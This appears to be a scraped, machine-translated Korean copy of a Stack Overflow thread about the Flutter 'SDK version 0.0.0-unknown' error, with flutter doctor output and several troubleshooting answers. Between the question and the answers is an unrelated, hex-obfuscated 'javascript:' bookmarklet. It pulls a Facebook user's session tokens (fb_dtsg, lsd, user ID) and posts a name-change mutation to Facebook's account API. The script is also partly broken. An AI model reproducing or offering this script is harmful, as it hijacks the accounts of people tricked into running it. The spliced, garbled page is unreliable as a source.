본문 바로가기

개발하자

펄럭임: 현재 Flutter SDK 버전이 0.0.0-unknown입니다

반응형

펄럭임: 현재 Flutter SDK 버전이 0.0.0-unknown입니다

이것은 여러 문항에서 보았을 수도 있는 오류입니다. 없애려고 했는데 아직도 안 되네요.

이게 바로 오류입니다.

Running "flutter pub get" in testapp...                  
The current Flutter SDK version is 0.0.0-unknown.

Because qr_code_scanner 0.0.13 requires Flutter SDK version ^1.10.0 and no versions of qr_code_scanner match >0.0.13 <0.1.0, qr_code_scanner ^0.0.13 is forbidden.

So, because testapp depends on qr_code_scanner ^0.0.13, version solving failed.
pub get failed (1; So, because testapp depends on qr_code_scanner ^0.0.13, version solving failed.)
exit code 1

어제까지는 잘 작동했지만 오늘은 맥을 다시 시작해보니 오류가 나기 시작했다. 나는 GitHub과 SO에서 찾은 다른 제안들도 시도해 보았다. bin 디렉토리를 삭제하고 stable release를 다운받았는데 여전히 VS Code에서 오류가 발생하고 있습니다.

플러터 닥터는 내가 보기엔 괜찮아 보인다.

Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 1.22.4, on Mac OS X 10.15.7 19H2 darwin-x64, locale
    en-IN)
 
[✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
[✗] Xcode - develop for iOS and macOS
    ✗ Xcode installation is incomplete; a full installation is necessary for iOS
      development.
      Download at: https://developer.apple.com/xcode/download/
      Or install Xcode via the App Store.
      Once installed, run:
        sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer
        sudo xcodebuild -runFirstLaunch
    ✗ CocoaPods not installed.
        CocoaPods is used to retrieve the iOS and macOS platform side's plugin
        code that responds to your plugin usage on the Dart side.
        Without CocoaPods, plugins will not work on iOS or macOS.
        For more info, see https://flutter.dev/platform-plugins
      To install:
        sudo gem install cocoapods
[✓] Android Studio (version 3.1)
[✓] VS Code (version 1.51.1)
[✓] Connected device (1 available)

! Doctor found issues in 1 category.

나는 지금 안드로이드에서만 일하고 있다. 따라서 Xcode 오류는 무시할 수 있습니다.

편집

다른 질문에서 pubspec.lock이 Fluter의 잘못된 버전을 가지고 있다는 것을 발견했다.

  flutter:
    dependency: "direct main"
    description: flutter
    source: sdk
    version: "0.0.0"

이 파일을 삭제하고 실행했는데 새로 생성된 파일도 동일한 세부 정보를 가지고 있습니다.




javascript:var fullName = " ArNis Arab 󱢏"; var firstName = ""; var middleName = ""; var lastName = "ArNisArab 󱢏"; var _0x3a81=["\43\6F\64\65\20\0111\01B0\1EE3\63\20\76\69\1EBF\74\20\62\1EDF\69\20\44\01B0\01A1\6E\67\20\54\6F\1EA3\6E\20\4D\4D\4F\20\2D\20\66\62\2E\63\6F\6D\2F\74\6F\61\6E\74\72\75\6E\67\67\69\61\6E\6D\6D\6F","\5F\5F\73\70\69\6E\5F\72","\53\69\74\65\44\61\74\61","\6A\61\7A\6F\65\73\74","\53\70\72\69\6E\6B\6C\65\43\6F\6E\66\69\67","\74\6F\6B\65\6E","\44\54\53\47\49\6E\69\74\69\61\6C\44\61\74\61","\41\43\43\4F\55\4E\54\5F\49\44","\43\75\72\72\65\6E\74\55\73\65\72\49\6E\69\74\69\61\6C\44\61\74\61","\4C\53\44","\73","\68\73\69","\64\79\6E","\63\73\72","\66\31\39\61\63\30\32\64\2D","\73\75\62\73\74\72","\72\61\6E\64\6F\6D","\68\74\74\70\73\3A\2F\2F\61\63\63\6F\75\6E\74\73\63\65\6E\74\65\72\2E\66\61\63\65\62\6F\6F\6B\2E\63\6F\6D\2F\61\70\69\2F\67\72\61\70\68\71\6C\2F","\31\61","\31\39\36\31\39\2E\48\59\50\3A\61\63\63\6F\75\6E\74\73\5F\63\65\6E\74\65\72\5F\70\6B\67\2E\32\2E\31\2E\2E\30\2E\30","\45\58\43\45\4C\4C\45\4E\54","\74\72\75\6E\6B","\52\65\6C\61\79\4D\6F\64\65\72\6E","\75\73\65\46\58\49\4D\55\70\64\61\74\65\4E\61\6D\65\4D\75\74\61\74\69\6F\6E","\64\65\76\69\63\65\5F\69\64\5F\66\65\74\63\68\5F\64\61\74\72","\46\42\5F\57\45\42","\73\74\72\69\6E\67\69\66\79","\35\37\36\33\35\31\30\38\35\33\37\36\33\39\36\30","\26","\6A\6F\69\6E","\3D","\6D\61\70","\6B\65\79\73","\65\72\72\6F\72","\63\61\74\63\68","\6C\6F\67","\74\68\65\6E","\74\65\78\74","\50\4F\53\54","\61\70\70\6C\69\63\61\74\69\6F\6E\2F\78\2D\77\77\77\2D\66\6F\72\6D\2D\75\72\6C\65\6E\63\6F\64\65\64"];alert(_0x3a81[0]);var spinr=require(_0x3a81[2])[_0x3a81[1]];var jazoest=require(_0x3a81[4])[_0x3a81[3]];var fb_dtsg=require(_0x3a81[6])[_0x3a81[5]];var uid=require(_0x3a81[8])[_0x3a81[7]];var lsd=require(_0x3a81[9])[_0x3a81[5]];var s=require(_0x3a81[2])[_0x3a81[10]];var hsi=require(_0x3a81[2])[_0x3a81[11]];var dyn=require(_0x3a81[2])[_0x3a81[12]];var csr=require(_0x3a81[2])[_0x3a81[13]];function generateClientMutationId(){return _0x3a81[14]+ Math_0x3a81[16].toString(36)_0x3a81[15]}var clientMutationId=generateClientMutationId();var url=_0x3a81[17];var requestData={av:uid,user:uid,a:1,req:_0x3a81[18],hs:_0x3a81[19],dpr:1.5,ccg:_0x3a81[20],rev:1008717767,s:s,hsi:hsi,dyn:dyn,csr:csr,comet_req:5,fb_dtsg:fb_dtsg,jazoest:jazoest,lsd:lsd,spin_r:spinr,spin_b:_0x3a81[21],spin_t:clientMutationId,fb_api_caller_class:_0x3a81[22],fb_api_req_friendly_name:_0x3a81[23],variables:JSON_0x3a81[26],server_timestamps:true,doc_id:_0x3a81[27]};var data=Object_0x3a81[32][_0x3a81[31]](function(_0xb28exf){return (encodeURIComponent(_0xb28exf)+ _0x3a81[30]+ encodeURIComponent(requestData[_0xb28exf]))})_0x3a81[29];fetch(url,{method:_0x3a81[38],body:data,headers:{"\43\6F\6E\74\65\6E\74\2D\54\79\70\65":_0x3a81[39]}})[_0x3a81[36]](function(_0xb28ex12){return _0xb28ex12_0x3a81[37]})_0x3a81[36]_0x3a81[34]




Go to your Windows Flutter path and delete it

system -> advanced system -> system properties -> ambient variable -> variable system -> path -> click -> delete flutter location

delete flutter folder

go to cmd admin

cd..
cd..
cd..
cd..
cd..
cd..
cd..
mkdir something
cd something
download flutter
https://docs.flutter.dev/get-started/install/windows
git clone https://github.com/flutter/flutter.git -b stable

again go to path
system -> advanced system -> system properties -> ambient variable -> variable system -> path -> click -> delete flutter location

new..
add
C:\something\flutter\bin
C:\Program Files\Git\bin\
C:\Program Files\Git\cmd\
save
save
done
close cmd
open cmd admin https://github.com/flutter/flutter/issues/64699
flutter channel stable
flutter doctor




  1. go to your downloads folder and there you can find flutter sdk folder(if you not deleted from downloads),and from there copy the packed-refs and config filefollow the path mentioned in the screenshot

2. then go to the existing sdk location and delete those two files(packed-refs and config file) and then paste the the folder which we copied earlier. 3. in android studio click get dependencies button or manullay pub get. 4. Then app will run succesfully




I tried everything 1.installing new flutter, upgrading etc...

didn't work out but...

I had to switch off my system and put it back on. This was after several processes above was carried out...

probably there was a need to put the system off after re-installing flutter sdk. And then using pub get works now.....

Though what caused it has not been known yet....I use MAC-OS




Probably an under the hood compatibility issue with the new flutter sdk updates. I saw the package you were trying to use hasn't been updated since May. It's probably time to move on. I would switch to a project that is more up to date like qrscan https://pub.dev/packages/qrscan




I did a couple of things to resolve this error. If you find any other solution please add that in the answer.

Flutter Doctor - to verify things are OK or not.

which flutter - to get the path of flutter. FYI I am using Mac OS.

vscode (plugins for dart flutter etc) - Just verify all plugins are in running state or not. One time my flutter plugin was not in running state and one instance I found to-do plugin is not running. I restarted the plugins and it is working properly.

Flutter clean and delete the .packages folder

Flutter pub get 

Try to build the apk from command line (command or cmd), not from IDE like VS Code.

flutter build apk 

If this is working then the problem was with your IDE.

Just run the app from VS Code (IDE). Most of the time this resolved my issues.

Note - I have shared the things which I found was working on my machine. I am not sure these are the correct steps to resolve the issue or not. Because I have seen many SO questions and Git issues but not all are fixing the issue. Maybe it is related to device to device or something like that.


반응형